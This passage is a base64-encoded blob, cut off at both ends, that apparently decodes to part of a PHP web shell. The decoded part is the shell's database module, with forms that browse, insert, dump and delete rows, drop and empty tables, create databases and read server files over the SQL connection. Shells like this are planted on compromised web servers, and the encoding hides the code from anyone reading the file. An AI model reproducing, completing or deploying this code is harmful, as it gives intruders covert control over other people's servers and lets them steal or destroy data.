ZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF94PXRibGR1bXAmdGhpc3RibD0xXCI+WzxiPiBEdW1wIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgICBpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0Iikgew0KICAgICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30NCiAgICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKSB7ICB9IC8vTm90IFJlYWR5DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsNCiAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgew0KICAgICAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsNCiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7DQogICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOw0KICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQogICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7JHZhbHVlcyA9IGFycmF5KCk7fQ0KICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dGFibGUgd2lkdGg9XCIxJVwiIGJvcmRlcj0xPjx0cj48dGQ+PGI+RmllbGQ8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5GdW5jdGlvbjwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKSB7DQogICAgICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHskdiA9ICIiO30NCiAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAkaSsrOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOw0KICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsNCiAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQ0KICAgICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gImJyb3dzZSIpIHsNCiAgICAgICAgJHNxbF90YmxfbHMgPSBhYnMoJHNxbF90YmxfbHMpOw0KICAgICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7DQogICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9bXVsdGlwYWdlXCIgaGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOw0KICAgICAgICAkYiA9IDA7DQogICAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7DQogICAgICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9DQogICAgICAgICAgZWNobyAkaTsNCiAgICAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30NCiAgICAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIiZuYnNwOyI7fQ0KICAgICAgICB9DQogICAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IjsNCiAgICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHsNCiAgICAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7DQogICAgICAgICAgaWYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30NCiAgICAgICAgICBlbHNlIHskcyA9ICJhIjsgJG0gPSAiZGVzYyI7fQ0KICAgICAgICAgIGVjaG8gIjx0ZD4iOw0KICAgICAgICAgIGlmIChlbXB0eSgkZVswXSkpIHskZVswXSA9ICJhIjt9DQogICAgICAgICAgaWYgKCRlWzFdICE9ICR2KSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kZVswXS4iJTIwIi4kdi4iXCI+PGI+Ii4kdi4iPC9iPjwvYT4iO30NCiAgICAgICAgICBlbHNlIHtlY2hvICI8Yj4iLiR2LiI8L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kcy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30NCiAgICAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICAgIH0NCiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cImdyZWVuXCI+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAgew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJFZGl0XCIgaGVpZ2h0PVwiMTRcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICB9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgIH0NCiAgICB9DQogICAgZWxzZSB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPjxiPlRhYmxlPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxiPlJvd3M8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5DcmVhdGVkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgJGkgPSAwOw0KICAgICAgJHRzaXplID0gJHRyb3dzID0gMDsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgew0KICAgICAgICR0c2l6ZSArPSAkcm93WyJEYXRhX2xlbmd0aCJdOw0KICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07DQogICAgICAgJHNpemUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFtZSJdLiJcIj48L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlVwZGF0ZV90aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2luc2VydFwiIGFsdD1cIkluc2VydFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRyIGJnY29sb3I9XCIwMDAwMDBcIj4iOw0KICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+KzwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIuJHRyb3dzLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxlbXB0eVwiPkVtcHR5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsb3B0aW1pemVcIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICAgfQ0KICB9DQogIGVsc2Ugew0KICAgJGFjdHMgPSBhcnJheSgiIiwibmV3ZGIiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZ2V0ZmlsZSIpOw0KICAgaWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZ2V0ZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2Y